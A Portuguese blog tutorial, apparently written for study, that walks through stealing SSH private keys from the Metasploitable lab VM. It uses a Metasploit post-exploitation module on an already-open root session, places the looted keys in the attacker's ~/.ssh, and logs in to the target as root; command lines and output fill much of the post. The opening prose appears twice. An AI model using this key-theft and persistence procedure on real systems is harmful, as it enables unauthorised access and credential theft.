E ai galera!
Já tinha me esquecido dos posts do Metasploitable, mas vou voltar a postar por que um dos posts que eu pretendo fazer é como fazer uma auditoria de vulnerabilidades completa e relatório, e para isso estou auditando esta VM. O interessante desse post é que eu procurei em tudo que foi lugar sobre esse módulo que eu usei e não encontrei nada. No próprio site do Metasploit não tem muitas informações sobre ele, então temos mais um conteúdo exclusivo da Brutal Security :D
Acredito que isto não seja de fato uma falha, por que para usar esse módulo eu já preciso ter uma sessão do metasploit aberta com o alvo, mas também não é um módulo totalmente inútil. Vamos a ele então!
Basicamente existem vários métodos de se conectar com um computador remotamente, por SSH podemos usar o tradicional usuário e senha, ou também podemos utilizar um sistema de chaves. Essas chaves são arquivos que ficam no servidor e no cliente e quando é solicitado a conexão as chaves são comparadas para autenticar o usuário e liberar o acesso remoto a máquina. Não vou muito a fundo na questão de chaves por que isso é um conteúdo da LPI e provavelmente vai ter um post sobre isso.
Este módulo funciona da seguinte maneira: já com uma sessão aberta rodamos o módulo e roubamos estas chaves, depois disso colocamos tudo nos devidos lugares e podemos conectar por SSH a qualquer momento sem saber a senha.
Vamos lá então! Primeiramente precisamos de uma sessão aberta com o alvo, não vou explicar isso aqui, se estiver usando o Metasploitable tem milhares de furos que você pode usar para chegar nisso então se vire. :)
Já tenho aqui o Metasploit rodando com uma sessão aberta:
Agora vamos colocar isso em background com o atalho CTRL + Z e vamos carregar o módulo:
Como você pode ver, conseguimos alguns arquivos do alvo, mas eles estão na pasta errada e com um nome todo maluco. O que precisamos fazer agora é corrigir o nome e colocar na pasta certa que é a/root/.ssh do seu Backtrack ou qualquer outra distro que você use. Os nomes dos arquivos corretos estão na própria saída do comando, destaquei em negrito no exemplo acima. As chaves do diretório home você poderia ignorar, mas para garantir que de certo eu passei tudo. Então vamos trocar os nomes e mandar para o lugar certo:
Agora que está tudo lá é só acessar por SSH! Se você substituiu tudo corretamente vai ter acesso root por SSH ao alvo:
E era isso! Agora é com você, acessar por SSH na minha opinião gera menos ruído e é mais simples do que manter uma sessão do Metasploit sempre aberta, seja ela com Backdoor ou com alguma outra coisa.
A solução para esse problema com chaves é manter seu sistema sempre atualizado para evitar que outra falha seja explorada como eu fiz neste tutorial, utilizar uma senha forte ou mudar frequentemente suas chaves de acesso.
Eu fico por aqui, bons estudos!
Já tinha me esquecido dos posts do Metasploitable, mas vou voltar a postar por que um dos posts que eu pretendo fazer é como fazer uma auditoria de vulnerabilidades completa e relatório, e para isso estou auditando esta VM. O interessante desse post é que eu procurei em tudo que foi lugar sobre esse módulo que eu usei e não encontrei nada. No próprio site do Metasploit não tem muitas informações sobre ele, então temos mais um conteúdo exclusivo da Brutal Security :D
Acredito que isto não seja de fato uma falha, por que para usar esse módulo eu já preciso ter uma sessão do metasploit aberta com o alvo, mas também não é um módulo totalmente inútil. Vamos a ele então!
Basicamente existem vários métodos de se conectar com um computador remotamente, por SSH podemos usar o tradicional usuário e senha, ou também podemos utilizar um sistema de chaves. Essas chaves são arquivos que ficam no servidor e no cliente e quando é solicitado a conexão as chaves são comparadas para autenticar o usuário e liberar o acesso remoto a máquina. Não vou muito a fundo na questão de chaves por que isso é um conteúdo da LPI e provavelmente vai ter um post sobre isso.
Este módulo funciona da seguinte maneira: já com uma sessão aberta rodamos o módulo e roubamos estas chaves, depois disso colocamos tudo nos devidos lugares e podemos conectar por SSH a qualquer momento sem saber a senha.
Vamos lá então! Primeiramente precisamos de uma sessão aberta com o alvo, não vou explicar isso aqui, se estiver usando o Metasploitable tem milhares de furos que você pode usar para chegar nisso então se vire. :)
Já tenho aqui o Metasploit rodando com uma sessão aberta:
[*] The port used by the backdoor bind listener is already open
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.0.5:33290 -> 10.0.0.6:6200) at 2013-04-08 00:32:12 -0300
Agora vamos colocar isso em background com o atalho CTRL + Z e vamos carregar o módulo:
msf > search openssh
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/local/trusted_service_path 2001-10-25 00:00:00 UTC excellent Windows Service Trusted Path Privilege Escalation
post/multi/gather/ssh_creds normal Multi Gather OpenSSH PKI Credentials Collection
msf > use post/multi/gather/ssh_creds
Este módulo tem apenas um parâmetro, o SESSION, onde você vai informar de qual sessão do Metasploit você quer que ele pegue as credenciais.
msf post(ssh_creds) > set SESSION 1
SESSION => 1
msf post(ssh_creds) > exploit
[*] Finding .ssh directories
[*] Looting 3 directories
[+] Downloaded /home/msfadmin/.ssh/authorized_keys -> /root/.msf4/loot/20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt
[+] Downloaded /home/msfadmin/.ssh/id_rsa -> /root/.msf4/loot/20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt
[*] Saving private key id_rsa as cred
[+] Downloaded /home/msfadmin/.ssh/id_rsa.pub -> /root/.msf4/loot/20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt
[+] Downloaded /home/user/.ssh/id_dsa -> /root/.msf4/loot/20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt
[*] Saving private key id_dsa as cred
[+] Downloaded /home/user/.ssh/id_dsa.pub -> /root/.msf4/loot/20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt
[+] Downloaded /root/.ssh/authorized_keys -> /root/.msf4/loot/20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt
[+] Downloaded /root/.ssh/known_hosts -> /root/.msf4/loot/20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt
[*] Post module execution completed
msf post(ssh_creds) > exit -y
Como você pode ver, conseguimos alguns arquivos do alvo, mas eles estão na pasta errada e com um nome todo maluco. O que precisamos fazer agora é corrigir o nome e colocar na pasta certa que é a/root/.ssh do seu Backtrack ou qualquer outra distro que você use. Os nomes dos arquivos corretos estão na própria saída do comando, destaquei em negrito no exemplo acima. As chaves do diretório home você poderia ignorar, mas para garantir que de certo eu passei tudo. Então vamos trocar os nomes e mandar para o lugar certo:
root@bt:~# cd /root/.msf4/loot
root@bt:~/.msf4/loot# ls
20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt
20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt
20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt
20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt
20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt
20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt
20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt
root@bt:~/.msf4/loot# mv 20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt /root/.ssh/authorized_keys
root@bt:~/.msf4/loot# mv 20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt /root/.ssh/id_rsa
root@bt:~/.msf4/loot# mv 20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt /root/.ssh/id_rsa.pub
root@bt:~/.msf4/loot# mv 20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt /root/.ssh/id_dsa
root@bt:~/.msf4/loot# mv 20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt /root/.ssh/id_dsa.pub
root@bt:~/.msf4/loot# mv 20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt /root/.ssh/authorized_keys
root@bt:~/.msf4/loot# mv 20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt /root/.ssh/known_hosts
Agora que está tudo lá é só acessar por SSH! Se você substituiu tudo corretamente vai ter acesso root por SSH ao alvo:
root@bt:~/.msf4/loot# ssh root@10.0.0.6
The authenticity of host '10.0.0.6 (10.0.0.6)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.0.6' (RSA) to the list of known hosts.
Last login: Sun Apr 7 23:26:44 2013 from 10.0.0.5
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# w
23:36:07 up 1:12, 2 users, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 :0.0 22:24 1:12 0.01s 0.01s -bash
root pts/1 10.0.0.5 23:36 0.00s 0.01s 0.00s w
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# exit
logout
Connection to 10.0.0.6 closed.
E era isso! Agora é com você, acessar por SSH na minha opinião gera menos ruído e é mais simples do que manter uma sessão do Metasploit sempre aberta, seja ela com Backdoor ou com alguma outra coisa.
A solução para esse problema com chaves é manter seu sistema sempre atualizado para evitar que outra falha seja explorada como eu fiz neste tutorial, utilizar uma senha forte ou mudar frequentemente suas chaves de acesso.
Eu fico por aqui, bons estudos!
0 comentários:
Postar um comentário